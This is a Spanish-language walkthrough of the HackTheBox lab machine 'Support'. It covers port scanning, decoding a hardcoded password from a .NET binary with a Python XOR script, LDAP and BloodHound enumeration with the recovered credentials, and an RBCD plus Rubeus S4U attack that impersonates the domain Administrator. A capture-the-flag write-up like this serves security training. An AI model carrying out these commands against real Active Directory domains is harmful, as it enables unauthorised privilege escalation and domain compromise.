Support

Support
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Windows Easy 30 Julio 2022 0xdf

Escaneo de puertos

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.11.174
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 11:36 -03
Initiating SYN Stealth Scan at 11:36
Scanning 10.10.11.174 [65535 ports]
Discovered open port 139/tcp on 10.10.11.174
Discovered open port 445/tcp on 10.10.11.174
Discovered open port 53/tcp on 10.10.11.174
Discovered open port 135/tcp on 10.10.11.174
Discovered open port 9389/tcp on 10.10.11.174
Discovered open port 593/tcp on 10.10.11.174
Discovered open port 49741/tcp on 10.10.11.174
Discovered open port 3268/tcp on 10.10.11.174
Discovered open port 49667/tcp on 10.10.11.174
Discovered open port 3269/tcp on 10.10.11.174
Discovered open port 49699/tcp on 10.10.11.174
Discovered open port 49678/tcp on 10.10.11.174
Discovered open port 464/tcp on 10.10.11.174
Discovered open port 49674/tcp on 10.10.11.174
Discovered open port 88/tcp on 10.10.11.174
Discovered open port 49664/tcp on 10.10.11.174
Discovered open port 389/tcp on 10.10.11.174
Discovered open port 5985/tcp on 10.10.11.174
Discovered open port 636/tcp on 10.10.11.174
Completed SYN Stealth Scan at 11:37, 53.69s elapsed (65535 total ports)
Nmap scan report for 10.10.11.174
Host is up, received user-set (0.18s latency).
Scanned at 2025-04-08 11:36:06 -03 for 54s
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49678/tcp open  unknown          syn-ack ttl 127
49699/tcp open  unknown          syn-ack ttl 127
49741/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 53.77 seconds
           Raw packets sent: 262117 (11.533MB) | Rcvd: 50 (2.200KB)

Enumeración de versión y servicio

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49674,49678,49699,49741 -oN servicesScan 10.10.11.174
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 11:37 -03
Nmap scan report for 10.10.11.174 (10.10.11.174)
Host is up (0.15s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-08 14:40:32Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49699/tcp open  msrpc         Microsoft Windows RPC
49741/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-04-08T14:41:23
|_  start_date: N/A
|_clock-skew: 2m43s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.63 seconds

Explotación inicial

echo "10.10.11.174 support.htb" >> /etc/hosts

Enumeración de recursos compartidos.

Support

Support

Descargamos el archivo UserInfo.exe.zip

En una máquina Windows alternativa, abrimos el binario UserInfo.exe.

Support

  • La cadena enc_password se decodifica en Base64 y se alamacena en un array de bytes.
  • Se crea un segundo array de bytes bytes con el valor del array anterior numArray.
  • Si inicializa un bucle, el cual recorre cada caracter del array y realiza un XORs con una letra de la clave y luego con el byte 0xDFu (223).
  • Finalmente se desencripta la clave y es retornada.

Armamos un script de Python para realizar esto.

import base64
from itertools import cycle

enc_password = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key = b"armando"
key2 = 223

res = ''
for e,k in zip(enc_password, cycle(key)):
    res += chr(e ^ k ^ key2)

print(res)

Support

ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Podemos enumerar a través de LDAP

ldapsearch -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -x -s base -b 'DC=support,DC=htb' '*'

Support

Support

ldapsearch -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -x -b 'DC=support,DC=htb' '(objectClass=User)' '*'

Support

[!warning] Credenciales

Usuario: support
Contraseña: Ironside47pleasure40Watchful
Servicio/Aplicación: 

Support

Support

Support

Escalación de privilegios SYSTEM

La salida de Nmap ya nos indicó que la máquina pertenece a un dominio. Podemos obtener más información sobre el dominio mediante el módulo PowerShell de Active Directory, que suele estar preinstalado en los controladores de dominio.

Support

De hecho, la máquina es el controlador de dominio (dc.support.htb) del dominio support.htb. Agreguemos este nombre de host a nuestro archivo de hosts.

echo "10.10.11.174 dc.support.htb" >> /etc/hosts

Realizamos una enumeración por Bloodhound.

bloodhound-python -u 'support' -p 'Ironside47pleasure40Watchful' -d support.htb -ns 10.10.11.174 --zip -c All

Support

Support

BloodHound menciona que, gracias al privilegio GenericAll, podemos realizar un ataque de Delegación Restringida Basada en Recursos (RBCD) y aumentar nuestros privilegios.

Support En pocas palabras, mediante un ataque de Delegación Restringida Basada en Recursos (RBCD) podemos agregar una computadora que esté bajo nuestro control al dominio. Vamos a llamar a esta máquina $FAKE-COMP10, y la vamos a configurar para que el Controlador de Dominio (DC) permita que $FAKE-COMP10 actúe en su nombre.

Después, al actuar en nombre del DC, podemos solicitar tickets Kerberos para $FAKE-COMP10, con la capacidad de suplantar a un usuario con altos privilegios dentro del dominio, como por ejemplo el Administrador.

Una vez que tenemos esos tickets Kerberos generados, podemos hacer un Pass the Ticket (PtT) y autenticarnos como ese usuario privilegiado, lo que básicamente nos da control total del dominio.

A partir de la enumeración previa, sabemos que el usuario support efectivamente es miembro del grupo Authenticated Users, así como también del grupo Shared Support Accounts.
También sabemos que el grupo Shared Support Accounts tiene privilegios GenericAll sobre el Controlador de Dominio (dc.support.htb).

Ahora, vamos a verificar el valor del atributo ms-ds-machineaccountquota.

Support

La salida del comando anterior muestra que este atributo está configurado en 10, lo que significa que cada usuario autenticado del dominio puede agregar hasta 10 computadoras al dominio.

A continuación, vamos a verificar que el atributo msds-allowedtoactonbehalfofotheridentity esté vacío. Para eso, necesitamos el módulo PowerView para PowerShell.
Podemos subirlo al servidor usando Evil-WinRM, como ya mostramos antes.

Una vez subido, lo podemos importar con el siguiente comando:

Support

El valor está vacío, lo que significa que ya estamos listos para ejecutar el ataque RBCD, pero primero vamos a subir las herramientas necesarias.

Vamos a necesitar PowerMad y Rubeus, y las podemos subir usando Evil-WinRM, como mostramos anteriormente.
PowerMad se puede importar con el siguiente comando:

Creación de un objeto Computadora

New-MachineAccount -MachineAccount FAKE-COMP10 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)

Support

El comando anterior agregó una máquina con el nombre FAKE-COMP10 al dominio, usando la contraseña Password123.
Podemos verificar que esta nueva máquina fue creada con el siguiente comando:

Support

Configurando RBCD

A continuación, vamos a tener que configurar la Delegación Restringida Basada en Recursos (RBCD), y hay dos formas de hacerlo:

  1. Podemos establecer el valor de PrincipalsAllowedToDelegateToAccount a FAKE-COMP10 usando el módulo integrado de PowerShell para Active Directory.
    → Esto automáticamente configura el atributo msds-allowedtoactonbehalfofotheridentity.
  2. O bien, podemos usar PowerView para modificar directamente el atributo msds-allowedtoactonbehalfofotheridentity.

Para este walkthrough vamos a usar la primera opción, ya que es un poco más fácil de entender.
Vamos a usar el comando Set-ADComputer para configurar la RBCD.

Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP10$

Support

Como podemos ver, el valor de PrincipalsAllowedToDelegateToAccount está configurado como FAKE-COMP10, lo que significa que el comando funcionó correctamente.
También podemos verificar el valor del atributo msds-allowedtoactonbehalfofotheridentity.

Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity

Support

Como podemos ver, el atributo msds-allowedtoactonbehalfofotheridentity ahora tiene un valor, pero como el tipo de este atributo es un Raw Security Descriptor, vamos a tener que convertir los bytes a una cadena legible para entender qué está pasando.

Primero, vamos a tomar el valor que nos interesa y lo vamos a guardar en una variable llamada $RawBytes.

Support

En la salida podemos ver que el SecurityIdentifier está configurado con el SID de FAKE-COMP10 que vimos anteriormente, y que el AceType está establecido como AccessAllowed.

Realizar el ataque S4U

Es momento de realizar el ataque S4U, que nos permitirá obtener un ticket Kerberos en nombre del Administrador. Vamos a usar Rubeus para llevar a cabo este ataque.

Primero, necesitaremos el hash de la contraseña que se usó para crear el objeto de la computadora.

.\Rubeus.exe hash /password:Password123 /user:FAKE-COMP10$ /domain:support.htb

Support

Necesitamos obtener el valor llamado rc4_hmac. Luego, podemos generar los tickets Kerberos para el Administrador.

rubeus.exe s4u /user:FAKE-COMP10$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt

Support

base64 -d ticket.kirbi.b64 > ticket.kirbi

Support

Support